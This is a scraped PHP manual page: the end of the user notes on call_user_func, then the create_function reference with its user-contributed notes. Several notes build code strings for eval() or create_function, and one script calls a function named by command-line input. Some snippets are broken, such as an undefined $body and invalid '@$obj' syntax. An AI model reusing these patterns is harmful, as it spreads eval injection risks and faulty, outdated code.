The following, however, DOES work quite well, and is hopefully slightly faster than eval() ...

$ar = array($v1, $m1);

call_user_func($ar);    // works teh awes0me!!1!

[I am, however, presuming PHP5 here ...]
info at webseiteselberpflegen dot de 18-May-2005 01:00
It seems like call_user_func() can not be used to create Objects via the new Command.

The Following example dosen't work:

<?php
  include_once(class_".$type.".php");
  $object = new call_user_func ('bdv_'.$type);
?>

But this works:

<?php
    include_once(class_".$type.".php");
    $constr = 'bdv_'.$type;
    $object = new $constr();
?>
d at safetypub dot org 15-Mar-2005 08:43
callbacks, this par excellence, goes with set error handler, everywhere you'ren't sure of extensio de intensionibus (animis alii).

<?php

$checkMe = null;
$detail = array();
set_error_handler("imErrant");

array_shift($argv);
if ($argc == 1){
        call_user_func(strtolower($argv[0]));
} else if($argc == 2){
        call_user_func(strtolower($argv[0]), $argv[1]);
}
else
        call_user_func_array(strtolower($argv[0]),array_shift($argv));

if($checkMe)var_export($detail);

function imErrant($no, $str, $file, $line)
{
    global $checkMe, $detail;
    $checkMe = $no;
    $detail = array($str, $file, $line);
}
?>
24-Feb-2005 07:46
<?php
/*
    A very simple event handler dispose and change the latest one I did
*/

class Duke
{
//public:
    var $m_pRaiser;
    var $m_strRaiserFun;
    var $m_objArgs;
//public:
    function Duke(  $pRaiser,
            $strRaiserFun,
            $objArgs )
    {
        $this ->m_pRaiser      = $pRaiser;
        $this ->m_strRaiserFun = $strRaiserFun;
        $this ->m_objArgs      = $objArgs;

    }//end of constructor

}//end of class Duke

class A
{
//protected:
    function OnEventHandler( $sender, $args )//virtual
    {
        $sender ->SayHello();
    }//end of OnEventHandler( $sender, $args )

//public:
    function OnEvent( $pDuke = null )
    {
        if( $pDuke == null )
        {
            call_user_func( array( &$this, "OnEventHandler" ), $this, null );
            return;
        }

        call_user_func( array( $pDuke ->m_pRaiser, $pDuke ->m_strRaiserFun ), $pDuke ->m_pRaiser, $pDuke ->m_objArgs );

    }//end of  OnEvent( $pDuke )

    function SayHello()//virtual
    {
        echo "A::SayHello" . "<br>";
    }//end of SayHello()

}//end of class A

class B extends A
{
//public:
    function SayHello()//override
    {
        echo "B::SayHello" . "<br>";
    }//end of SayHello()

}//end of class B

//////////////////////////////////////////////////////////////////////
//Main import to test
//
$a = &new A();
$b = &new B();

$pDuke = &new Duke( $b, "OnEventHandler", null );

$b ->OnEvent();
$b ->OnEvent( $pDuke );
?>
zxy at estec-jp dot com 24-Feb-2005 02:57
A simple event handler dispose released by useful callback in PHP 4.x

<?php
class Duke
{
//public:
    var $m_pRaiser;
    var $m_strRaiserFun;
    var $m_objArgs;
//public:
    function Duke(  $pRaiser,
            $strRaiserFun,
            $objArgs )
    {
        $this ->m_pRaiser      = $pRaiser;
        $this ->m_strRaiserFun = $strRaiserFun;
        $this ->m_objArgs      = $objArgs;

    }//end of constructor

}//end of class Duke

class A
{
//protected:
    function OnEventHandler( $sender, $args )//virtual
    {
        $sender ->SayHello();
    }//end of OnEventHandler( $sender, $args )

//public:
    function OnEvent( $pDuke )
    {
        call_user_func( array( $pDuke ->m_pRaiser, $pDuke ->m_strRaiserFun ), $pDuke ->m_pRaiser, $pDuke ->m_objArgs );
    }//end of  OnEvent( $pDuke )

    function SayHello()//virtual
    {
        echo "A::SayHello" . "<br>";
    }//end of SayHello()

}//end of class A

class B extends A
{
//public:
    function SayHello()//override
    {
        echo "B::SayHello" . "<br>";
    }//end of SayHello()

}//end of class B

///////////////////////////////////////////////////////////
//Main import to test
//
$a = &new A();
$b = &new B();

$pDuke = &new Duke( $b, "SayHello", null );
$b ->OnEvent( $pDuke );
?>
07-Oct-2004 12:23
If you are trying to instantiate an object from a class whose name is dynamic, you WILL NOT be able to do this with call_user_func() and I do not suggest that you do it with eval(). The way to do it is actually much simpler than i thought. As far as i know this works in PHP 4 and 5:

<?PHP
class foo {
 var $boo;
    function foo( $someVal ) {
     $this->boo = $someVal;
    }
}

$ClassToUse = "foo";
$bar = new $ClassToUse('test');
echo $bar->boo;
?>
arjini at mac dot com 29-Mar-2004 05:04
Some of the wierder examples below confused me, and made me think that the following would work (but it does!).

<?php

class barber{
    function shop($one,$two,$three,$four='quartet'){
        echo $one.','.$two.','.$three.','.$four;
    }
}

$bsq = new barber;
call_user_func(array(&$bsq,'shop'),'one','two','three');

/* Output = one,two,three,quartet */

class bigBarber{
    var $quartet;
    function bigBarber(){
        $this->quartet = 'four';
    }
    function shop($one,$two,$three,$five='quintet'){
        echo $one.','.$two.','.$three.','.$this->quartet.','.$five;
    }
}

$bbsq = new bigBarber();
call_user_func(array(&$bbsq,'shop'),'one','two','three');

/* Output = one,two,three,four,quintet */

?>
Kris Koskelin 22-Jan-2004 03:21
I was trying to use this function to call a method of an already-instantiated object.  I needed to do this with the object itself, not simply call the class' method.

To accomplish this, I really avoided this particular function altogether like this:

<?php
if ( method_exists($my_obj, $action) ){
     return $my_obj->{$action}();
}
?>

I hope someone else finds this useful.  Note that doing this allows you to pass params to the function more-or-less in the same way you would to any other class method.
Michele.Manzato at verona.miz.it 29-Sep-2003 08:49
With overload()ed classes call_user_func_* calls real class methods only. If the method does not exist then PHP does not try with the "__call()" magic method (at least until PHP 4.3.3). See this:

<?php
class A
{
    function A() {}

    function __call($method, $args, &$ret) {
        echo "__call(): You called '{$method}()'<br>\n";
        return true;
    }

    function regular() {
        echo "You called 'regular()'<br>\n";
    }
};
overload("A");

$a = new A;

$a->regular();                          // Works, calls regular()
call_user_func(array(&$a, "regular"));  // Works, calls regular()

$a->hello();                            // Works, calls __call()
call_user_func(array(&$a, "hello"));    // Does NOT work!
?>
Carl 28-Jul-2003 11:53
I had a problem where I wanted to parameterize a callback. The end called was in an external class, but I needed to save some state for the callback that didn't make sense to keep in the original object, as it might change from call to call...

<?php
class foo
{
    function foo()
    {
        $str = "Hello There";

        $str2 = "Carl";

        $that =& new holder($str);

        call_user_func(array(&$that, 'callback'), $str2);
    }
}

class holder
{
    function holder($aParam)
    {
        $this->param = $aParam;
    }

    function callback($aStr)
    {
        echo "A=$this->param, B=$aStr\n";
    }
}
?>
matt at tasonline dot com 23-Nov-2002 12:24
On PHP 4.2.3 (not sure about older releases) you can send objects by reference by sending the reference from call_user_func()

<?php
function myFunction(@$obj)
{
   $obj->doThis('hello');
   return 0;
}

$myObj = new CObject();

call_user_func('myFunction', @$myObj);
?>
phil at gettcomm dot com 21-May-2002 07:51
if you need to get a reference back from a method, you can work around call_user_func()'s shortcomings like this:

<?php

$globalObj;

class tClass
{
    function &instance()
    {
        global $globalObj;
        if(!is_object($globalObj))
        {
            $globalObj = new tClass();
        }
        return $globalObj;
    }
}

$classname = "tClass";
# calling the function this way won't
# return a reference.
$test = &call_user_func(array($classname,"instance"));
# but if we call it again with the instance
# that we just got, it'll be the right
# one
$test = &$test->instance();
# so test is now a reference to $globalObj, just like it should be

# let's verify it:
$test->blah=1;

echo "<pre>";
print_r($test)."\n";
print_r($globalObj);
echo "</pre>";
# there, now it behaves just like you'd expect

?>
dougqh at hotmail dot com 07-Mar-2002 05:16
The previous note I posted had an error in the source code.  That has been corrected in this note.

Note, that returning by reference does not work properly when the function
is called using call_user_func.

This example illustrates the problem...

<?php
$globalVar = 0;

function &staticFunction()
{
   global $globalVar;

   return $globalVar;
}

$result =& call_user_func( "staticFunction" );

$result = 3;

print "result:" . $result . "<br/>\n";
print "globalVar: " . $globalVar . "<br/>\n";

$result2 =& staticFunction();

$result2 = 3;

print "result2: " . $result2 . "<br/>\n";
print "globalVar: " . $globalVar . "<br/>\n";
?>

The above code results in the following output ...
Note that $result is not a reference to $globalVar.

result:0
globalVar: 0
result2: 3
globalVar: 3

Also, the use of call_user_method is now deprecated in favor of passing
array( &$object, $method ) as the function to call_user_func.  This is
reported when error reporting is set to E_ALL in the latest versions of
PHP.
danyloco at yahoo dot com 17-Jul-2001 04:31
I was trying to call multiple functions within a class, and after a brain frying experience this is what came out... hope it helps:

<?php
class Foo {
 function hey1($id){echo "In hey1";}
 function hey2($id){echo "In hey2";}
 #... and so forth ...
 function runtest($id) {
   #the fun part :)
   for($i=1; $i<=2; $i++) {
     $fp = "hey".$i;
     $this->$fp($id);
}
}
}
?>

It worked like a charm :).
andreyhristov at yahoo dot com 22-Aug-2000 06:09
Let say we construct somehow the name of the function. In some cases we can use nested  'switch'  but the alternative is to to use for and parse a string to construct  the  function  name, after than  we also can construct and the parameter(s) for it. It  is like using of eval. I use it in  one of my projects to construct a name of nested array like $ar['1999'['july']['29']['19'], etc.

the problem is in that I'm parsing a string to construct the name. If I've {1:2:3}  the array name  will be $ar['1']['2']['3'] but if i've
{1:2:3:4:5} it will  be $ar['1']['2']['3']['4']['5'].

Eval is the only way (very hard because of characters escaping is needed)  to do it. So this function is of the type of EVAL().
USE IT wherever your script is  'self-modified';


Create an anonymous (lambda-style) function

  • ? call_user_func
  • forward_static_call_array ?
  • PHP Manual
  • 函数处理 函数
  • Create an anonymous (lambda-style) function

create_function

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

create_function — Create an anonymous (lambda-style) function

说明

create_function ( string $args , string $code ) : string

Creates an anonymous function from the parameters passed, and returns a unique name for it.

Caution

This function internally performs an eval() and as such has the same security issues as eval(). Additionally it has bad performance and memory usage characteristics.

If you are using PHP 5.3.0 or newer a native anonymous function should be used instead.

参数

Usually these parameters will be passed as single quote delimited strings. The reason for using single quoted strings, is to protect the variable names from parsing, otherwise, if you use double quotes there will be a need to escape the variable names, e.g. \$avar.

args

The function arguments.

code

The function code.

返回值

Returns a unique function name as a string, or FALSE on error.

范例

Example #1 Creating an anonymous function with create_function()

You can use this function, to (for example) create a function from information gathered at run time:

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

Or, perhaps to have general handler function that can apply a set of operations to a list of parameters:

Example #2 Making a general processing function with create_function()

<?php
function process($var1, $var2, $farr)
{
    foreach ($farr as $f) {
        echo $f($var1, $var2) . "\n";
    }
}

// create a bunch of math functions
$f1 = 'if ($a >=0) {return "b*a^2 = ".$b*sqrt($a);} else {return false;}';
$f2 = "return \"min(b^2+a, a^2,b) = \".min(\$a*\$a+\$b,\$b*\$b+\$a);";
$f3 = 'if ($a > 0 && $b != 0) {return "ln(a)/b = ".log($a)/$b; } else { return false; }';
$farr = array(
    create_function('$x,$y', 'return "some trig: ".(sin($x) + $x*cos($y));'),
    create_function('$x,$y', 'return "a hypotenuse: ".sqrt($x*$x + $y*$y);'),
    create_function('$a,$b', $f1),
    create_function('$a,$b', $f2),
    create_function('$a,$b', $f3)
    );

echo "\nUsing the first array of anonymous functions\n";
echo "parameters: 2.3445, M_PI\n";
process(2.3445, M_PI, $farr);

// now make a bunch of string processing functions
$garr = array(
    create_function('$b,$a', 'if (strncmp($a, $b, 3) == 0) return "** \"$a\" '.
    'and \"$b\"\n** Look the same to me! (looking at the first 3 chars)";'),
    create_function('$a,$b', '; return "CRCs: " . crc32($a) . ", ".crc32($b);'),
    create_function('$a,$b', '; return "similar(a,b) = " . similar_text($a, $b, &$p) . "($p%)";')
    );
echo "\nUsing the second array of anonymous functions\n";
process("Twas brilling and the slithy toves", "Twas the night", $garr);
?>

以上例程会输出：

Using the first array of anonymous functions
parameters: 2.3445, M_PI
some trig: -1.6291725057799
a hypotenuse: 3.9199852871011
b*a^2 = 4.8103313314525
min(b^2+a, a^2,b) = 8.6382729035898
ln(a)/b = 0.27122299212594

Using the second array of anonymous functions
** "Twas the night" and "Twas brilling and the slithy toves"
** Look the same to me! (looking at the first 3 chars)
CRCs: -725381282, 342550513
similar(a,b) = 11(45.833333333333%)

But perhaps the most common use for of lambda-style (anonymous) functions is to create callback functions, for example when using array_walk() or usort()

Example #3 Using anonymous functions as callback functions

<?php
$av = array("the ", "a ", "that ", "this ");
array_walk($av, create_function('&$v,$k', '$v = $v . "mango";'));
print_r($av);
?>

以上例程会输出：

Array
(
  [0] => the mango
  [1] => a mango
  [2] => that mango
  [3] => this mango
)

an array of strings ordered from shorter to longer

<?php

$sv = array("small", "larger", "a big string", "it is a string thing");
print_r($sv);

?>

以上例程会输出：

Array
(
  [0] => small
  [1] => larger
  [2] => a big string
  [3] => it is a string thing
)

sort it from longer to shorter

<?php

usort($sv, create_function('$a,$b','return strlen($b) - strlen($a);'));
print_r($sv);

?>

以上例程会输出：

Array
(
  [0] => it is a string thing
  [1] => a big string
  [2] => larger
  [3] => small
)

参见

  • Anonymous functions

User Contributed Notes

tomas dot vot at gmail dot com 16-Dec-2018 01:17
If you need to upgrade more than one `create_function` to anonymous function, I'm working on a tool that makes dev's life much easier and adaptable for new versions of anything in PHP.

It's tested on 30+ various (and really weird :)) cases, like:

    -$callback = create_function('$a', 'return "<cas:proxy>$a</cas:proxy>";');
    +$callback = function ($a) {
    +    return "<cas:proxy>{$a}</cas:proxy>";
    +};

Includes concat (.), string quotes and inclined function calls:

    -$func = create_function('$atts, $content = null','return "<div class=\"' . $class_list . '\">" . do_shortcode($content) . "</div>";' );
    +$func = function ($atts, $content = null) use ($class_list) {
    +    return "<div class=\"{$class_list}\">" . do_shortcode($content) . "</div>";
    +};

Do you want to automate the hard work?

1. Instal Rector

    composer require rector/rector --dev

2. Create config

    # rector.yml
    services:
        Rector\Php\Rector\FuncCall\CreateFunctionToAnonymousFunctionRector: ~

3. Upgrade your Code

    vendor/bin/rector process src --config rector.yml --dry-run
    vendor/bin/rector process src --config rector.yml
tamagochi_man 09-Oct-2018 07:44
Whilst it was correct 11 years ago, the statement of Dan D is not so correct any moreю Anonymous functions are now objects of a class Closure and are safely collected by garbage collector.
kexianbin at diyism dot com 10-Jun-2014 04:52
I use this create_closure() in my work to seperate callbacks into Classes:
<?php
function create_closure($fun, $args, $uses)
         {$params=explode(',', $args.','.$uses);
          $str_params='';
          foreach ($params as $v)
                  {$v=trim($v, ' &$');
                   $str_params.='\''.$v.'\'=>&$'.$v.', ';
                  }
          return "return function({$args}) use ({$uses}) {{$fun}(array({$str_params}));};";
         }
?>

example:
<?php
$loop->addPeriodicTimer(1, eval(create_closure('pop_message', '$timer', '$cache_key, $n, &$response, &$redis_client')));

function pop_message($params)
         {extract($params, EXTR_REFS);
          $redis_client->ZRANGE($cache_key, 0, $n)
                            ->then(//normal
                                   function($data) use ($cache_key, $n, &$timer, &$response, &$redis_client)
                                   {//...
                                   },
                                   //exception
                                   function ($e) use (&$timer, &$response, &$redis_client)
                                   {//...
                                   }
                                  );
         }
?>
coleyeder at gmail dot com 01-Oct-2013 04:29
Default values works:

<?php

$f = create_function('$a,$b=3', 'var_dump($a, $b);');
$f(1);

// output:

// int(1)
// int(3)

?>
CertaiN 19-Sep-2013 11:49
Best wapper:

<?php

function create_lambda($args, $code) {
    static $func;
    if (!isset($func[$args][$code])) {
        $func[$args][$code] = create_function($args, $code);
    }
    return $func[$args][$code];
}
ionix at NOSPAM dot post dot com 05-Sep-2013 04:56
I experimented a bit in creating a lambda function using a variable amount of arguments. While I couldn't find an efficient way to create a random bit of code, I was able to get it to behave as a front end for existing functions (as well as user-defined of course).

The code required me to use the dreaded eval() function to get it to use a variable amount of parameters, so be sure that all input is thoroughly cleaned if derived from the user.

<?php

    function run_function( $function )
    {
        // Get Arguments, Unset Exisitng Parameter
        $params = func_get_args();
        unset( $params[0] );

        if( ( $count = count( $params ) ) > 0 )
        {
            $args = '$a';
            $inc = 'b';

            // Create Argument String - Formats as '$a, $b, $c' Per Number of Arguments
            for( $x = 1; $x < $count; $x++ )
            {
                $args .= ', $' . $inc;
                $inc++;
            }

            // Create Lambda Function and Format Paramters
            $lambda = create_function( $args, 'return ' . $function . '(' . $args . ');' );
            $params = "'" . implode('\', \'', $params) . "'";

            // Build and Evaluate Function with Parameters
            $eval = '$return = $lambda(' . $params . ');';
            eval($eval);

            return $return;
        }
        else
        {
            return false;
        }
    }
?>

For most applications you would be better off calling the function normally. Perhaps this little proof of concept may find some use if adapted to work by someone who requires it.
CertaiN 25-Aug-2013 06:20
How to save memory-space:

<?php

function create_lambda($args, $code) {
    static $list = array();
    $i = "{$args}\0{$code}";
    if (!isset($list[$i])) {
        $list[$i] = create_function($args, $code);
    }
    return $list[$i];
}
kak dot serpom dot po dot yaitsam at gmail dot com 27-Jun-2012 12:17
Try this to boost performance of your scripts (increase maxCacheSize):

<?php
runkit_function_copy('create_function', 'create_function_native');
runkit_function_redefine('create_function', '$arg,$body', 'return __create_function($arg,$body);');

function __create_function($arg, $body) {
    static $cache = array();
    static $maxCacheSize = 64;
    static $sorter;

    if ($sorter === NULL) {
        $sorter = function($a, $b) {
            if ($a->hits == $b->hits) {
                return 0;
            }

            return ($a->hits < $b->hits) ? 1 : -1;
        };
    }

    $crc = crc32($arg . "\\x00" . $body);

    if (isset($cache[$crc])) {
        ++$cache[$crc][1];
        return $cache[$crc][0];
    }

    if (sizeof($cache) >= $maxCacheSize) {
        uasort($cache, $sorter);
        array_pop($cache);
    }

    $cache[$crc] = array($cb = eval('return function('.$arg.'){'.$body.'};'), 0);
    return $cb;
}
?>
131 dot php at cloudyks dot org 01-Jun-2012 10:54
For those who want to create closure with create_function, don't bother, you can't.
Use create_closure instead :p

<?php
//same thing as create_function, but returns a closure..( 5.4)
function create_closure($args, $body){
  return eval("return function($args){ {$body}  };");
}
?>
Dave H 24-Mar-2011 06:47
The following function is very useful for creating an alias of a user function.
For built-in functions, it is less useful because default values are not available, so function aliases for built-in functions must have all parameters supplied, whether optional or not.

<?php
function create_function_alias($function_name, $alias_name)
{
    if(function_exists($alias_name))
        return false;
    $rf = new ReflectionFunction($function_name);
    $fproto = $alias_name.'(';
    $fcall = $function_name.'(';
    $need_comma = false;

    foreach($rf->getParameters() as $param)
    {
        if($need_comma)
        {
            $fproto .= ',';
            $fcall .= ',';
        }

        $fproto .= '$'.$param->getName();
        $fcall .= '$'.$param->getName();

        if($param->isOptional() && $param->isDefaultValueAvailable())
        {
            $val = $param->getDefaultValue();
            if(is_string($val))
                $val = "'$val'";
            $fproto .= ' = '.$val;
        }
        $need_comma = true;
    }
    $fproto .= ')';
    $fcall .= ')';

    $f = "function $fproto".PHP_EOL;
    $f .= '{return '.$fcall.';}';

    eval($f);
    return true;
}
?>
phenno7 [a_t] yahoo dot com 15-Sep-2010 01:53
The function takes as arguments the tree array, the category id on which i want the retrieval, and the depth level for which i would like the subcategories ids returned.

this saves me a LOT of time on large adjacency list trees.

<?php
$ctg_tree = array(
'1'=>array('parent_id'=>0,
           'children'=>array(
          '2'=>array('parent_id'=>1,
                      'children'=>array(
                      '3'=>array('parent_id'=>2))),
           '4'=>array('parent_id'=>1,
                      'children'=>array(
                      '5'=>array('parent_id'=>4),
                      '6'=>array('parent_id'=>4))))));

function getSubCategories($ctg_tree, $id, $level = null) {

        $getBranchIds =
create_function(
'$tree, $ctg_id, $level = null, $arr = null,'.
' $push = false, $getBranchIds','
            if(!$arr) {
                $arr = array();
            }
            if(intval($level) && $push){
                $level--;
            }

            foreach($tree as $key=>$ctg) {
                if($push) {
                    $arr[] = $key;
                }
                if($ctg_id == $key) {
                    $start = true;
                    $push = true;
                }
if(count($ctg[\'children\']) && (intval($level) || $level === null)) {
$getBranchIds(
$ctg[\'children\'],$ctg_id,$level,&$arr,$push,$getBranchIds
);
                }
                if($start) return $arr;
            }

            return $arr;');

return $getBranchIds(
$ctg_tree, $id, $level, null, false, $getBranchIds
);
    }

print_r(getSubCategories($ctg_tree, 4, 1));
?>

Array
(
    [0] => 5
    [1] => 6
)

print_r(getSubCategories($ctg_tree, 1, 1));

Array
(
    [0] => 2
    [1] => 4
)

<?php
print_r(getSubCategories($ctg_tree, 1));
?>

Array
(
    [0] => 2
    [1] => 3
    [2] => 4
    [3] => 5
    [4] => 6
)
Its Will 01-Sep-2010 08:27
If you create a function that will only be used from an object context (i.e. you want a dynamic method that can then call methods from the original object, still maintaining access to the object's runtime values) then you can use the following functions I have created (ob_lambda_func and ob_lambda) to enable the dynamic function to easily call *public* methods on the object, in their runtime contexts:

<?php
/* the OB Lambda functions allow a lambda function to call a method from its callee's object */
if(!function_exists('ob_lambda_func')){
function ob_lambda_func($method, $args) {
   if((phpversion()+0)<5.1 || (substr(phpversion(),2)+0)<1.1)
       die("\nError: This script requires PHP v5.1.1+!\n");
   $bt=debug_backtrace();
   foreach($bt as $xsp) {
       if(isset($xsp['object'])) {
           if(!method_exists($xsp['object'], $method)) continue;
           return call_user_func_array(array($xsp['object'], $method), $args);
       }
   }
   if(!function_exists($method))
       die("\nOB: Internal Error! ($method)");
   return call_user_func_array($method, $args);
}}
if(!function_exists('ob_lambda')){
function ob_lambda($method) {
   return create_function('','$args=func_get_args(); return ob_lambda_func('.var_export($method, true).',$args);');
}}

/* Usage:
 *   For each callable method, store the results of ob_lambda('method_name')
 *   When a lambda function you call wants to access one of these methods,
 *    you need to pass it the result of ob_lambda for that method, the easiest
 *    way is to have one of the lambda functions arguments accept the result
 *       i.e.:  $myFunc=ob_lambda('myMethod');
 *              $lf1=create_function('$func', '$func( ... args ... )');
 *              $lf1($myFunc);
 *    because create_function prepends a \0 to the function name, it is difficult
 *    to pass the result of ob_lambda to the target function without using an argument
 */
/* here is an example -- lambda function Foo::test can call Foo::Bar and Foo::Baz, and these  */
class Foo {
    private $bar, $baz, $test;
    private $runtimeValue=0;
    function __construct() {
        $this->runtimeValue=rand();
        $this->bar=ob_lambda('Bar');
        $this->baz=ob_lambda('Baz');
        $this->test=create_function(
            '$bar, $baz',
            '$bar("Hello, World!"); $baz();'
        );
    }
    function Test() {
        $fn=$this->test;
        $fn($this->bar, $this->baz);
    }
    function Bar($a) {
        echo "$a: Bar ($this->runtimeValue)\n";
    }
    function Baz() {
        echo "and another! Baz ($this->runtimeValue)\n";
    }
}

$foo=new Foo();
// Foo::Bar("Testing Other Method"); <-- this causes fatal error
//  (using $this when not in object context)
$foo->Test();

?>

This snippet (with test) shows how the lambda function $foo->test can call Foo::Bar and Foo::Baz without an explicit reference to the original object. The methods are run from their object context, and so can access the runtime-modified variable $foo->runtimeValue, which is set to a random number on construction.
The function definition for $foo->test is the following:
function ($bar, $baz) {
    $bar("Hello, World!");
    $baz;
}
As you can see, it is clean and simple, with no obvious artifacts from the use of OB Lambda

The expected output should be:
Hello, World!: Bar (440048505)
and another! Baz (440048505)

Or any other random number in place of 440048505
Make sure, before you change your code, that your target server has PHP 5.1.1+, or these functions won't work and will return an error!
Hope this helps anyone as much as it has me! :)
julius _email _me _at grantzau _dot _com 16-Jul-2010 09:59
To avoid memory problems, when creating a dynamic function within loops, register it as a global variable, and check if it has already been set;

<?php
global $my_func;
if (!isset($my_func))
{
    $my_func = create_function($args, $code);
}

$my_func();
?>

That way you don't end up creating the same function twice (or a couple of million of times, as it happened to me...)
v dot churakov at i2d dot ru 20-Feb-2010 04:56
<?

function is_function( &$mixed )
{
    if ( is_object( $mixed ) ) {
        return ( $mixed instanceof Closure );
    } elseif( is_string( $mixed ) ) {
        return function_exists( $mixed );
    } else {
        return false;
    }
}

function myfunc(){}

$test = 123;
echo  is_function( $test ); //will return false

$test = 'isset';
echo  is_function( $test ); //will return false... it's not work with reserved :( ...

$test = 'myfunc';
echo  is_function( $test ); //will return true

$test = create_function( '', 'echo 123;' );
echo  is_function( $test ); //will return true

$test = function () { echo 123; };
echo  is_function( $test ); //will return true

?>
edgar at goodforall dot eu 02-Jul-2009 07:45
Just a little toy I thought up, I would like to share. Creates an anonymous function, which let you use a class  as a function.

In php 5.3 there is support for real functors  (trough __invoke):

<?php
function createFunctor($className){
        $content = "
                static \$class;
                if(!\$class){
                        \$class = new $className;
                }
                return \$class->run(\$args);
        ";
        $f = create_function('$args', $content);
        return $f;

}
class test {
        public function run($args){
                print $args;
        }
}
$test = createFunctor('test');
$test('hello world');
?>
Stefan Scheld 23-Sep-2008 07:48
Workaround is as follows:

<?php
class Foo {
    function setHandler($handlerName, $handlerCode) {
        $this->handlerFunctions[$handlerName] = create_function('&$self, $dataArr', $handlerCode);
// NOTE: $this not allowed here, using $self as replacement
    }

    function executeHandler($handlerName, $dataArr) {
        if($this->handlerFunctions[$handlerName]) {
                $this->handlerFunctions[$handlerName](&$this, $dataArr);
            }
     }

    function getConstantInfo($what) {
        return($what);
    }
}

$bla = new Foo;

$bla->setHandler("load", 'echo($self->getConstantInfo("name")."\n");');
$bla->executeHandler("load", array("foo" => "bar"));
?>
neo at nowhere dot com 28-Aug-2008 01:56
In response to kkaiser at revolution-records dot net's note, even tho PHP will allow you to use
<?
$myfunc = create_function('$this', $code);
?>
You can NOT use a reference to "$this" inside of the anonymous function, as PHP will complain that you are using a reference to "$this" in a non-object context.

Currently, I have not found a work-around for this...
Alan FUNG 07-Aug-2008 12:24
$f = create_function('','echo "function defined by create_function";');
$f();

result:
function defined by create_function

You may define no return in function body while you are using create_function.
Rene Saarsoo 06-Feb-2008 02:31
Here has been some discussion about the "memory leak" create_function() can create.

What create_function() actually does, is creating an ordinary function with name chr(0).lambda_n where n is some number:

<?php
$f = create_function('', 'return 1;');

function lambda_1() { return 2; }

$g = "lambda_1";
echo $g(); // outputs: 2

$h = chr(0)."lambda_1";
echo $h(); // outputs: 1
?>
colin dot mckinnon at gmail dot com 20-Aug-2007 05:51
In response to koyama at hoge dot org (14-Dec-2000):

This does NOT create a new method - try adding this at the end:

<?php
if (function_exists($h->lamda)) {
   print "Its a function\n";
} else {
   print "No it isnt";
}
?>

It creates a function which $h->lamda points to.

Under PHP4 you could simply add an argument $this which meant it *behaved* like a method (though it existed in global scope) but with PHP5, you can't have a variable named $this in a function (which is rather irksome).

(and methinks the ant-bot challenge is taking the mickey - min(three, four)?  !).
TSE-WebDesign 18-Aug-2007 09:55
Here's how to call a runtime-created function from another runtime-created function:
<?php
        $get_func = create_function('$func', 'return substr($func,1);');
        $get_value = create_function('$index','return pow($index,$index);');
        $another_func = create_function('$a', '$func="\x00"."'.$get_func($get_value).'";return $func($a);');
        echo $another_func(2); # result is 4
?>
kkaiser at revolution-records dot net 13-Apr-2007 01:10
In the process of migrating a PHP4 codebase to PHP5, I ran into a peculiar problem. In the library, every class was derived from a generic class called 'class_container'. 'class_container' contained an array called runtime_functions and a method called class_function that was as follows:

<?php
function class_function($name,$params,$code) {

  $this->runtime_functions[$name] = create_function($params,$code);

}
?>

In a subclass of class_container, there was a function that utilized class_function() to store some custom lambda functions that were self-referential:

<?php
function myfunc($name,$code) {

  $this->class_function($name,'$theobj','$this=&$theobj;'.$code);

}
?>

In PHP4, this worked just fine. The idea was to write blocks of code at the subclass level, such as "echo $this->id;", then simply $MYOBJ->myfunc("go","echo $this->id;"); and later call it like $MYOBJ->runtime_functions["go"]();

It essentially worked exactly like binding anonymous functions to objects in Javascript.

Note how the "$this" keyword had to be manually redefined for the $code block to work.

In PHP5, however, you can't redeclare $this without getting a fatal error, so the code had to be updated to:

<?php
function myfunc($name,$code) {

  $this->class_function($name,'$this',$code);

}
?>

Apparently create_function() allows you to set $this via a function argument, allowing you to bind anonymous functions to instantiated objects. Thought it might be useful to somebody.
Dan D 23-Oct-2006 07:22
Beware when using anonymous functions in PHP as you would in languages like Python, Ruby, Lisp or Javascript.  As was stated previously, the allocated memory is never released; they are not objects in PHP -- they are just dynamically named global functions -- so they don't have scope and are not subject to garbage collection.

So, if you're developing anything remotely reusable (OO or otherwise), I would avoid them like the plague.  They're slow, inefficient and there's no telling if your implementation will end up in a large loop.  Mine ended up in an iteration over ~1 million records and quickly exhasted my 500MB-per-process limit.
Phlyst 06-Oct-2006 05:10
In reply to info at adaniels dot nl:

You may not be able to use __FUNCTION__ in a lambda (thanks for pointing it out; I was having that problem just now), but you can use $GLOBALS to work around it if you're assigning the function to a variable. I reimplemented array_walk_recursive() in PHP4 like this:

<?php
$array_walk_recursive = create_function('&$array, $callback',
    'foreach($array as $element) {
        if(is_array($element)) {
            $funky = $GLOBALS["array_walk_recursive"];
            $funky($element, $callback);
        }
        else {
            $callback($element);
        }
    }');
?>
Josh J 27-Sep-2006 12:45
In regards to the recursion issue by info at adaniels dot nl

Anon function recursion by referencing the function variable in the correct scope.
<?php
$fn2 = create_function('$a', 'echo $a; if ($a < 10) call_user_func($GLOBALS["fn2"], ++$a);');
$fn2(1);
?>
info at adaniels dot nl 10-May-2006 03:42
Note that using __FUNCTION__ in a an anonymous function, will always result '__lambda_func'.

<?php
    $fn = create_function('', 'echo __FUNCTION__;');
    $fn();
    // Result: __lambda_func
    echo $fn;
    // Result: olambda_2 (the actual first character cannot be displayed)
?>

This means that a anonymous function can't be used recursively. The following code (recursively counting to 10) results in an error:
<?php
    $fn2 = create_function('$a', 'echo $a; if ($a < 10) call_user_func(__FUNCTION__, $a++);');
    $fn2(1);
    // Warning: call_user_func(__lambda_func) [function.call-user-func]: First argument is expected to be a valid callback in T:/test/test.php(21) : runtime-created function on line 1
?>
josh at janrain dot com 03-Mar-2006 10:21
Beware! This is merely a convenience function that generates a unique name for a regular function. It is *not* a closure or even an anonymous function. It is just a regular function that gets named for you.
Joshua E Cook 19-Jan-2006 04:43
Functions created by create_function() cannot return a value by reference.  The function below creates a function that can.  The arguments are the same as create_function().  Note that these arguments are passed, unmodified, to eval(), so be sure that data passed in is sanitized.

<?php
/**
 * create_ref_function
 * Create an anonymous (lambda-style) function
 * which returns a reference
 * see http://php.net/create_function
 */
function
create_ref_function( $args, $code )
{
    static $n = 0;

    $functionName = sprintf('ref_lambda_%d',++$n);

    $declaration = sprintf('function &%s(%s) {%s}',$functionName,$args,$body);

    eval($declaration);

    return $functionName;
}
?>
boards at gmail dot com 31-Dec-2005 11:18
If you were checking to see if a function is made properly, this would be a better way of checking:

